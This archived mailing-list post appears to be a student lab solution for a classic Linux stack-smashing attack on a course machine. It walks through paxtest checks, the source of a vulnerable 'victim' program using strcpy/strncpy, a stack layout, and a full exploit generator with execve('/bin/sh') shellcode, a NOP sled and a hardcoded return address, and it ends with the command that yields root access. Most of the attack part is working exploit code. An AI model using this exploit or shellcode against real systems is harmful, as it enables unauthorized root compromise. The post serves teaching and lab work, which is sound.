:: [etc] Smashing the stack for linux ::
HOME


[Date Prev][Date Next][Date Index]

[etc] Smashing the stack for linux




Lab4: Below is the complete solution in how bubble was hacked.

Step1: Check if the machine has a vulnerability. We used a program called paxtest (v. 0.96) to check if the machine
has a vulnerability. Below is its execution on mia



mia> ./paxtest kiddie --SNIP-- Executable anonymous mapping : Vulnerable Executable bss : Vulnerable Executable data : Vulnerable Executable heap : Vulnerable Executable stack : Vulnerable Executable anonymous mapping (mprotect) : Vulnerable Executable bss (mprotect) : Vulnerable Executable data (mprotect) : Vulnerable Executable heap (mprotect) : Vulnerable Executable shared library bss (mprotect) : Vulnerable Executable shared library data (mprotect): Vulnerable Executable stack (mprotect) : Vulnerable Anonymous mapping randomisation test : 8 bits (guessed) Heap randomisation test (ET_EXEC) : 13 bits (guessed) Heap randomisation test (ET_DYN) : 5 bits (guessed) Main executable randomisation (ET_EXEC) : No randomisation Main executable randomisation (ET_DYN) : 8 bits (guessed) Shared library randomisation test : No randomisation Stack randomisation test (SEGMEXEC) : 19 bits (guessed) *** Stack randomisation test (PAGEEXEC) : 19 bits (guessed) Return to function (strcpy) : Vulnerable Return to function (strcpy, RANDEXEC) : Vulnerable Return to function (memcpy) : Vulnerable Return to function (memcpy, RANDEXEC) : Vulnerable Executable shared library bss : Vulnerable Executable shared library data : Vulnerable Writable text segments : Vulnerable --SNIP--

One can see that on mia the stack has been randomized. What this means
is that  the stack pointer will  always be initialized  to a different
value every time  the program is executed. This  can be verified using
the following program:

mia> cat sp.c
unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x\n", get_sp());
}

Executing  the above program  multiple times  will give  the following
output.

mia> ./sp
0xbfbd2720
mia> ./sp
0xbf8d5aa0
mia> ./sp
0xbfd56cc0

This shows  that the value  of stack pointer  changes. If this  is the
case then the below method cannot be used for hacking bubble.

This was actually the case on bubble, untill i informed yixin about it
and he  had to revert  to an older  kernel. Executing paxtest  on this
machine gives:

--SNIP--

Linux bubble.ece.uic.edu 2.4.27-2-386 #1  Mon May 16 16:47:51 JST 2005
i686 GNU/Linux

Executable anonymous mapping             : Vulnerable
Executable bss                           : Vulnerable
Executable data                          : Vulnerable
Executable heap                          : Vulnerable
Executable stack                         : Vulnerable
Executable anonymous mapping (mprotect)  : Vulnerable
Executable bss (mprotect)                : Vulnerable
Executable data (mprotect)               : Vulnerable
Executable heap (mprotect)               : Vulnerable
Executable shared library bss (mprotect) : Vulnerable
Executable shared library data (mprotect): Vulnerable
Executable stack (mprotect)              : Vulnerable
Anonymous mapping randomisation test     : No randomisation
Heap randomisation test (ET_EXEC)        : No randomisation
Heap randomisation test (ET_DYN)         : No randomisation
Main executable randomisation (ET_EXEC)  : No randomisation
Main executable randomisation (ET_DYN)   : No randomisation
Shared library randomisation test        : No randomisation
Stack randomisation test (SEGMEXEC)      : No randomisation ****
Stack randomisation test (PAGEEXEC)      : No randomisation
Return to function (strcpy)              : Vulnerable
Return to function (strcpy, RANDEXEC)    : Vulnerable
Return to function (memcpy)              : Vulnerable
Return to function (memcpy, RANDEXEC)    : Vulnerable
Executable shared library bss            : Vulnerable
Executable shared library data           : Vulnerable
Writable text segments                   : Vulnerable
--SNIP--

The above shows that bubble is hackable.


Step2: Structure of the argument that we want to pass to the victim. The vitim program is given below:

--SNIP--
#include <stdio.h>

int main(int argc, char *argv[])
{
  int i = 0xaabbccdd;
  char buffer1[256];
  char buffer2[10];

  if (argc == 3)
    {
      strcpy(buffer1,argv[1]);
      strncpy(buffer2, argv[2],strlen(argv[2]));
    }
  else
    {
      printf("usage: victim school_name, student_name\n");
      return 0;
    }

  printf("School name: %s\n", buffer1);
  printf("Student name: %s\n", buffer2);
  return 1;
}
--SNIP--

It has been modified a bit  for debugging purposes. The stack frame in
this case will have the following structure:

Stack Layout is:

  Top of stack ==>   16 bytes  [buffer2]
                     268 bytes  [buffer1]
                     4 bytes  [int i]
                     4 bytes  [* _libc_csu_init]
                     4 bytes  [* _GLOBAL_OFFSET_TABLE_]
                     4 bytes  [* Frame_pointer of prev Stack frame]
                     4 bytes  [ return address]
                     4 bytes  [ argc ]
                     4 bytes  [ **argv ]


We need to now construct a string which we will try to overflow using _buffer2_. It is important that we overflow buffer2 and NOT buffer1. This is becuase buffer2 gets copied after buffer1. If buffer1 is overflowed first, we will be overwriting the pointer to argv and this will give a segmentation fault.

Now we want to contruct a string that will overflow buffer2. The total
length of this string should be  at least 16+268+4+12+4 = 304. We will
use a 356 bytes string.

We have blindly taken the exploit from the smashing the stack article,
so we will not go into the details of how this exploit works. The
below program is used to construct this string. --SNIP-- #include <stdlib.h> #include <stdio.h>


#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  addr = 0xbffff708;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = (char) NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}

--SNIP--

This will create a string of 356 bytes and first populate it with NOP
in the first half, attack in the middle and return address at the
bottom. The return address has to be guessed a bit. Thats it. Just
execute the victim as: ./victim mm $EGG and you will get the root access.



Comments and corrections are appreciated and can be sent to papers@mia.ece.uic.edu. Click here for ©opyright information.